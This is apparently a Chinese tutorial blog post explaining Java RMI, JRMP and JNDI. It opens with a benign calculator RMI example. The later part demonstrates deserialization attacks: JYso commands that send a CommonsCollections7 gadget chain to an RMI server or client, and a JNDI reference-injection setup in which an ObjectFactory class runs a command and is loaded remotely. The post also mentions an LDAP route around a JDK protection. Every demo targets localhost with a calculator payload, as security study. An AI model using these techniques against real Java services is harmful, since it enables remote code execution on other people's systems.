浅谈RMI、JRMP、JNDI

目录

RMI

概念:

RMI(Remote Method Invocation) 是 Java 提供的一种远程通信机制,它允许一个 Java 程序调用另一个 远程 Java 虚拟机(JVM) 中的对象方法,就像调用本地对象一样

为什么要有RMI?

​ 在分布式应用中,不同模块或服务可能部署在不同服务器上,RMI 允许你在一个机器上的 Java 程序远程调用另一台机器上的 Java 方法,实现模块间的通信。

RMI的构成:

​ RMI主要由Server、Client、Registry(服务端、客户端、注册中心)构成。

​ 其中Client作为使用者,远程调用Server上的对象方法,而Server就是远程方法的提供者。

​ 注册中心类似于手机中的通讯录,可以理解为注册中心是用来注册和查找远程对象的目录服务。

​ 服务端通过registry.rebind("服务名", 远程对象) 将远程对象绑定到注册中心。

java 复制代码
        //这个是注册中心的端口号
        Registry registry = LocateRegistry.createRegistry(1099);
        Calc calc = new Calcimpl(); //创建一个计算器的实现类
        //使用UnicastRemoteObject.exportObject()将对象转化成一个可以远程调用的对象
        //然后port是传输这个对象需要的端口值,这里的0表示使用随机分配的端口
        //registry.rebind()方法将计算器对象绑定到RMI服务中
        registry.rebind("Calc", UnicastRemoteObject.exportObject(calc, 0)); //将计算器注册到RMI服务中

​ 客户端通过注册中心,在Server端查找所需要的远程对象

java 复制代码
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
        //通过注册中心,找到远程的远程对象
        Calc calc = (Calc) registry.lookup("Calc");
        int result = calc.add(1, 2);
        System.out.println(result);

如何使用RMI

​ 使用RMI一个很必要的前提就是Client拥有Interface A,而Server拥有Interface A 的实现类 Class A_impl

​ 所以可以理解Client上的每个接口都对应了Server上的一个实现类

复制代码
Server:
	new一个注册中心,并绑定指定的端口 ==》 将创建好的对象添加到注册中心
Client:
	通过注册中心提供的方法,获取远程的注册中心 ==》 并通过方法名的方式,在Server上查找服务端方法,并使用

Client代码

java 复制代码
public class Main {
    public static void main(String[] args) throws RemoteException, NotBoundException {
        //去找远程的 注册中心
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
        //通过注册中心,找到远程的远程对象
        Calc calc = (Calc) registry.lookup("Calc");
        int result = calc.add(1, 2);
        System.out.println(result);
    }
}

Client上的Interface

java 复制代码
package org.example.Service;

import java.rmi.Remote;

public interface Calc extends Remote {
    public int add(int a , int b) throws java.rmi.RemoteException;
    public void print(Object o) throws java.rmi.RemoteException;

}

Server代码

java 复制代码
public class RmiService {
    public static void main(String[] args) throws RemoteException {
        //这个是注册中心的端口号
        Registry registry = LocateRegistry.createRegistry(1099);
        Calc calc = new Calcimpl(); //创建一个计算器的实现类
        //使用UnicastRemoteObject.exportObject()将对象转化成一个可以远程调用的对象
        //然后port是传输这个对象需要的端口值,这里的0表示使用随机分配的端口
        //registry.rebind()方法将计算器对象绑定到RMI服务中
        registry.rebind("Calc", UnicastRemoteObject.exportObject(calc, 0)); //将计算器注册到RMI服务中
    }
}

Server上的Interface及其实现(注意:这里的Interface和Client上的是完全一样的)

java 复制代码
package org.example.Service;

import java.rmi.Remote;

public interface Calc extends Remote {
    public int add(int a , int b) throws java.rmi.RemoteException;
    public void print(Object o) throws java.rmi.RemoteException;
    
}

==========================================================================================================================
package org.example.Service;

import java.rmi.RemoteException;

public class Calcimpl  implements  Calc{
    @Override
    public int add(int a, int b) throws RemoteException {
        int result = a + b;
        System.out.printf("%d + %d = %d", a, b, result);
        return result;
    }

    @Override
    public void print(Object o) throws RemoteException {
        System.out.printf((String) o);
    }
}

​ 那么运行Server之后,再运行Client,就能得到对应的结果了

注意!!!

​ Client远程调用Server上的方法A,方法A最终是在Server上运行的,然后由Server将运行完成的结果发送给Client,而不是在Client上运行

JRMP(是RMI的通信协议的名字)

概念

JRMP(Java Remote Method Protocol) 是专门为 Java RMI(Remote Method Invocation) 设计的一种专用通信协议。

​ JRMP 仅用于 RMI 调用,是 RMI 默认使用的底层传输协议。

查看通信过程

​ 还是使用上面的代码,Server端保持运行,然后运行一次客户端,查看JMI使用JRMP协议调用的过程

​ 然后可以发现,这里传输的是经过序列化 的数据。这也说明,在Server或Client上是会将其反序列化为Java对象

​ 那么如果将序列化的数据替换 成我们的恶意利用链 ,那么其中一端在反序列化的过程中,就会触发恶意利用链,并执行恶意Payload

工具使用

https://github.com/qi4L/JYso

​ 查看WiKi描述的使用方式

攻击Server

此处意在模拟攻击RMI开放端口

​ 首先,这里保持服务端一直运行(注意,此处JDK版本为jdk8u112,且加载commons-collections 3.2.1)

​ 高版本JDK引入了对象输入过滤器,防止反序列化加载恶意类,所以不太能成功

复制代码
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>

​ 使用命令

cmd 复制代码
D:\jdk8\bin\java.exe -cp JYso-1.3.5.1.jar com.qi4l.JYso.exploit.JRMPClient 127.0.0.1 1099 -g CommonsCollections7 -p calc

​ 成功执行命令calc

攻击Client

此处意在模拟RMI Client参数可控的条件下,攻击Client

​ 首先使用工具起一个监听

cmd 复制代码
D:\jdk8\bin\java.exe -cp JYso-1.3.5.1.jar com.qi4l.JYso.exploit.JRMPListener  1098 -g CommonsCollections7 -p calc

​ 然后修改Client代码中的Host和Port为攻击工具开放的Host和端口

​ 然后执行Client端代码,成功执行payload

JNDI

什么是JNDI

​ JNDI(Java Naming and Directory Interface)是 Java 提供的一个 API ,用于访问命名和目录服务。本质上,它提供了一个 统一的接口,让 Java 程序可以查找资源,比如对象、数据库连接、远程服务等。

那么JNDI和RMI的关系是什么

JNDI 是一个接口,底层可以对接不同的服务提供者(SPI):

  • LDAP(轻量级目录访问协议)
  • RMI Registry
  • DNS
  • File System
  • 自定义服务提供者
名称 作用 举例或说明
JNDI Java Naming and Directory Interface Java 的统一资源查找 API,可以通过名字查找对象(比如数据库、远程服务等)
LDAP Lightweight Directory Access Protocol 一种目录服务协议,JNDI 可以通过它查询结构化的资源(常用于企业环境)
RMI Remote Method Invocation Java 自带的远程对象调用机制,可以通过网络调用远程 Java 对象的方法
JRMP Java Remote Method Protocol RMI 默认使用的底层协议,是 Java 专有的远程通信协议
复制代码
             JNDI
              |
       -------------------
      |         |        |
    LDAP      RMI     Others (DNS, File, etc.)
               |
             JRMP

++总结:JNDI是Java提供的API,可以对接不同的服务(如LDAP、RMI、DNS),而JRMP又是RMI的底层协议++

JNDI加载恶意类

​ 需要准备:Server、Client、恶意类

恶意类evil_test(这里什么名字都可以)

java 复制代码
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class evil_test implements ObjectFactory {
    //构造方法在类加载的时候就会执行,不需要特意调用,所以要写在构造方法里
    public evil_test() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

Server代码

java 复制代码
public class RmiService {
    public static void main(String[] args) throws RemoteException, NamingException {
        //搞一个注册中心,注册中心监听端口为1099
        Registry registry = LocateRegistry.createRegistry(1099);
        //创建一个引用,其中的第一个参数是远程对象名称,第二个参数是远程对象实现的类名,第三个参数是URL
        //Reference告诉客户端,要去哪里加载这个远程对象
        Reference reference = new Reference("evil_test", "evil_test", "http://127.0.0.1:8088");
        //将引用包装成ReferenceWrapper对象,并添加到注册中心中
        //这是因为JNDI RMI 注册中心只能接受实现了 Remote 接口的对象,所以需要用别的方法包装一下
        registry.rebind("evil_test",new ReferenceWrapper(reference));
    }
}

Client代码

java 复制代码
package org.example;

import org.example.Service.Calc;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Main {
    public static void main(String[] args) throws RemoteException, NotBoundException, NamingException {
        //新建一个命名服务的上下文对象,用于资源的查找
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("rmi://127.0.0.1:1099/evil_test");
    }
}

编译恶意类

​ 这里最好使用和受害者机器一样的JDK环境和编码对恶意类进行编译,不然容易出问题

​ 并且恶意类中不应出现包名,不然和受害者包名不一致就会出问题

cmd 复制代码
PS G:\Code\Java\RMIServer\src\main\java> D:\Jdk8u112\bin\javac.exe -encoding UTF-8 .\evil_test.java

​ 编译完成之后,在编译好的class文件处开启一个http服务,用于传输恶意类编译的class!

​ 随后运行Client代码(受害者端),受害者连接Server端,并去我们指定的factoryLocation中查找名为evil_test的恶意类,并加载,最终成功执行Payload

​ 具体的实现原理可见https://www.cnblogs.com/LittleHann/p/17768907.html#_label1

​ 但是需要注意的是从 JDK 8u121 开始 ,Java 默认 不再信任RMI远程加载的 Reference 对象的类定义

​ 但是可以通过JNDI+LDAP 的方式,通过LDAP加载远程恶意类